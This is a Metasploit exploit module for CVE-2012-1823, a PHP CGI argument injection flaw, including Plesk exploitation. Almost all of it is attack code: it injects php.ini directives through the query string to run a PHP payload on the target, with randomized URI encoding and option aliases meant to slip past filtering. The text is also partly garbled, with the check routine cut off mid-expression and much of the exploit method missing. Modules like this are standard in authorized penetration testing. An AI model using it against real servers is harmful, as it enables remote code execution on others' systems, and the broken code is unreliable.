## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'PHP CGI Argument Injection', 'Description' => %q{ When run as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. This module takes advantage of the -d flag to set php.ini directives to achieve code execution. From the advisory: "if there is NO unescaped '=' in the query string, the string is split on '+' (encoded space) characters, urldecoded, passed to a function that escapes shell metacharacters (the "encoded in a system-defined manner" from the RFC) and then passes them to the CGI binary." This module can also be used to exploit the plesk 0day disclosed by kingcope and exploited in the wild on June 2013. }, 'Author' => [ 'egypt', 'hdm', # original msf exploit 'jjarmoc', # added URI encoding obfuscation 'kingcope', # plesk poc 'juan vazquez' # add support for plesk exploitation ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2012-1823'], ['OSVDB', '81633'], ['OSVDB', '93979'], ['EDB', '25986'], ['URL', 'http://web.archive.org/web/20120503154724/http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/'], ['URL', 'http://kb.parallels.com/en/116241'] ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, # Arbitrary big number. The payload gets sent as an HTTP # response body, so really it's unlimited 'Space' => 262144 # 256k }, 'DisclosureDate' => '2012-05-03', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', {}]], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ IOC_IN_LOGS ] } ) ) register_options([ OptString.new('TARGETURI', [false, 'The URI to request (must be a CGI-handled PHP script)']), OptInt.new('URIENCODING', [true, 'Level of URI URIENCODING and padding (0 for minimum)', 0]), OptBool.new('PLESK', [true, 'Exploit Plesk', false]), ]) end # php-cgi -h # ... # -s Display colour syntax highlighted source. def check vprint_status("Checking uri #{uri}") response = send_request_raw({ 'uri' => uri }) return CheckCode::Unknown('Connection failed.') unless response if response.code == 200 && response.body.to_s.lstrip =~ /^ "#{uri}?#{create_arg('-s')}" }) return CheckCode::Unknown('Connection failed.') unless response if response.code == 200 && response.body.to_s.lstrip =~ /^ 'POST', 'global' => true, 'uri' => "#{uri}?#{qs}", 'data' => payload_oneline }, 0.5) rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused print_error('The target service is unreachable') rescue ::OpenSSL::SSL::SSLError print_error('The target failed to negotiate SSL, is this really an SSL service?') end def create_arg(arg, val = nil) if val val = rand_encode(val) val.gsub!('=', '%3d') # = must always be encoded val.gsub!('"', '%22') # " too end ret = '' ret << rand_spaces ret << rand_opt_equiv(arg) ret << rand_space ret << rand_spaces ret << val.to_s ret << rand_space ret end def rand_opt_equiv(opt) # Returns a random equivilant option from mapping at # http://www.php.net/manual/en/features.commandline.options.php opt_equivs = { '-d' => [ "#{rand_dash}#{rand_encode('d')}", "#{rand_dash}#{rand_dash}#{rand_encode('define')}" ], '-s' => [ "#{rand_dash}#{rand_encode('s')}", "#{rand_dash}#{rand_dash}#{rand_encode('syntax-highlight')}", "#{rand_dash}#{rand_dash}#{rand_encode('syntax-highlighting')}" ], '-T' => [ "#{rand_dash}#{rand_encode('T')}", "#{rand_dash}#{rand_dash}#{rand_encode('timing')}" ], '-n' => [ "#{rand_dash}#{rand_encode('n')}", "#{rand_dash}#{rand_dash}#{rand_encode('no-php-ini')}" ] } equivs = opt_equivs[opt] equivs ? equivs[rand(opt_equivs[opt].length)] : opt end def rand_encode(string, max = string.length) # Randomly URI encode characters from string, up to max times. chars = [] if max > uri_encoding_level max = uri_encoding_level end if string.length == 1 if rand(2) > 0 chars << 0 end elsif max > 0 max.times { chars << rand(string.length) } end chars.uniq.sort.reverse.each { |index| string[index] = Rex::Text.uri_encode(string[index, 1], 'hex-noslashes') } string end def rand_spaces(num = uri_encoding_level) ret = '' num.times do ret << rand_space end ret end def rand_space uri_encoding_level > 0 ? ['%20', '%09', '+'][rand(3)] : '+' end def rand_dash uri_encoding_level > 0 ? ['-', '%2d', '%2D'][rand(3)] : '-' end def rand_php_ini_false Rex::Text.to_rand_case([ '0', 'off', 'false' ][rand(3)]) end def rand_php_ini_true Rex::Text.to_rand_case([ '1', 'on', 'true' ][rand(3)]) end end